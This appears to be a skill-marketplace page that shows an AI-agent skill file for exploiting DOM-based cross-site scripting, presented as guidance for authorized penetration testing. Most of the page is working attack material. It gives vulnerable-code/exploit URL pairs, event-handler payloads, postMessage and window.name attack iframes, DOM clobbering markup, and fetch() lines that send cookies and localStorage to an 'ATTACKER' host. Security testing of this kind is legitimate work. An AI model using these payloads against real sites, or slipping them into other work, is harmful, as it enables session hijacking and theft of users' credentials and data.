用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill xss-dom命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | xss-dom |
| description | Guide DOM-based XSS exploitation during authorized penetration testing. |
| keywords | ["DOM XSS","DOM-based XSS","innerHTML injection","eval injection","document.write XSS","postMessage XSS","source and sink","client-side XSS","JavaScript DOM manipulation"] |
| tools | ["burpsuite","DOM Invader","domloggerpp","domdig"] |
| opsec | low |
You are helping a penetration tester exploit DOM-based cross-site scripting. The vulnerability exists entirely in client-side JavaScript — attacker-controlled data flows from a source (URL, cookie, postMessage, storage) to a dangerous sink (innerHTML, eval, document.write) without proper sanitization. The malicious payload never appears in the HTTP response from the server. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[xss-dom] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
DOM XSS exists entirely in client-side JavaScript — browser tools are essential for this skill. The vulnerability cannot be detected or exploited without JavaScript execution.
browser_open to load the target page with JavaScript executionbrowser_evaluate for source-to-sink tracing — inspect DOM state, trace
data flow through JavaScript variables, check what sinks are reachable
(e.g., document.querySelectorAll('[innerHTML]'),
document.querySelectorAll('script'))browser_navigate with crafted URL fragments (#payload) to test
hash-based sourcesbrowser_screenshot for evidence of DOM manipulation#), which are
NOT sent to the serverIf not already provided, determine:
Skip if context was already provided.
Sources are inputs an attacker can control. Check each one:
URL-based sources:
document.URL
document.documentURI
document.baseURI
location // location.href, location.hash, location.search, location.pathname
document.referrer
Storage-based sources:
document.cookie
window.name // persists across cross-origin navigations!
localStorage
sessionStorage
Message-based sources:
// postMessage listener
window.addEventListener('message', function(e) { /* uses e.data unsafely */ })
How to find them: Search the page's JavaScript for these patterns. In DevTools → Sources → Search (Ctrl+Shift+F):
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage
addEventListener.*message
localStorage.getItem
sessionStorage.getItem
document.cookie
Sinks are functions/properties where attacker data causes harm.
HTML injection sinks (most common for DOM XSS):
element.innerHTML = ...
element.outerHTML = ...
element.insertAdjacentHTML(...)
document.write(...)
document.writeln(...)
innerHTMLblocks<script>tags in modern browsers. Use<img onerror>instead.
JavaScript execution sinks:
eval(...)
Function(...)()
setTimeout(string, ...)
setInterval(string, ...)
setImmediate(string, ...)
URL/navigation sinks:
location = ...
location.href = ...
location.assign(...)
location.replace(...)
window.open(...)
jQuery sinks:
$(...) // selector injection
$.html(...)
$.append(...)
$.prepend(...)
$.after(...)
$.before(...)
$.parseHTML(...)
$.globalEval(...)
Follow the data from source to sink through the JavaScript code.
Example 1 — URL hash to innerHTML:
// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;
// Exploit (payload in URL fragment — not sent to server)
https://TARGET/page#<img src=x onerror=alert(document.domain)>
Example 2 — URL param to document.write:
// Vulnerable code
var search = new URLSearchParams(location.search);
document.write('<h1>Results for: ' + search.get('q') + '</h1>');
// Exploit
https://TARGET/page?q=</h1><script>alert(document.domain)</script>
Example 3 — URL param to eval:
// Vulnerable code
var config = location.search.substring(1);
eval('var settings = {' + config + '}');
// Exploit
https://TARGET/page?};alert(document.domain);//
Example 4 — postMessage to innerHTML:
// Vulnerable code
window.addEventListener('message', function(e) {
document.getElementById('widget').innerHTML = e.data;
});
// Exploit (from attacker page)
<iframe src="https://TARGET/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">
Example 5 — window.name abuse:
// Vulnerable code
document.getElementById('greeting').innerHTML = name; // resolves to window.name
// Exploit (window.name persists across navigations)
<iframe name="<img src=x onerror=alert(document.domain)>" src="https://TARGET/page">
Example 6 — jQuery selector injection:
// Vulnerable code
$(location.hash);
// Exploit
https://TARGET/page#<img src=x onerror=alert(1)>
<script> is blocked — use event handlers:
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<iframe srcdoc="<script>alert(document.domain)</script>">
</h1><script>alert(document.domain)</script>
<script>alert(document.domain)</script>
);alert(document.domain);//
'-alert(document.domain)-'
1;alert(document.domain)
javascript:alert(document.domain)
javascript://%0aalert(document.domain)
<img src=x onerror=alert(1)>
Craft an attacker page that sends the payload:
<iframe src="https://TARGET/page" onload="
this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')
">
When the page references DOM elements by name/id without proper checks, you can "clobber" expected values by injecting HTML elements with matching names.
<!-- If code does: if (window.config) { url = config.url } -->
<a id=config><a id=config name=url href="javascript:alert(1)">
<!-- If code does: element.innerHTML = defaultText -->
<img name=defaultText src=x onerror=alert(1)>
Same as reflected/stored XSS — cookie theft, session hijacking, phishing:
fetch('https://ATTACKER/steal?c='+document.cookie)
fetch('https://ATTACKER/steal?ls='+JSON.stringify(localStorage))
For window.name + admin flows, exfiltrate secrets from localStorage:
fetch('https://ATTACKER/?flag='+encodeURIComponent(localStorage.getItem('flag')))
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: source, sink, data flow path, and working payload.
#) payloads are never sent to the serverThis is expected in modern browsers. Use:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
#) payloads may be URL-encoded by the browser before JS reads themdecodeURIComponent() on the source<noscript><p title="</noscript><img src=x onerror=alert(1)>">If the listener checks event.origin:
window.addEventListener('message', function(e) {
if (e.origin !== 'https://trusted.com') return;
// ...
});
===) or uses indexOf/regex (bypassable)e.origin.indexOf('trusted.com') matches https://trusted.com.attacker.com# DOM Invader — built into Burp Suite browser
# Enable in Burp → Proxy → Intercept → Open Browser → DOM Invader tab
# domdig — headless Chrome DOM XSS scanner
domdig https://TARGET/page
# domloggerpp — browser extension for monitoring DOM access
# Install from: https://github.com/kevin-mizu/domloggerpp
基于 SOC 职业分类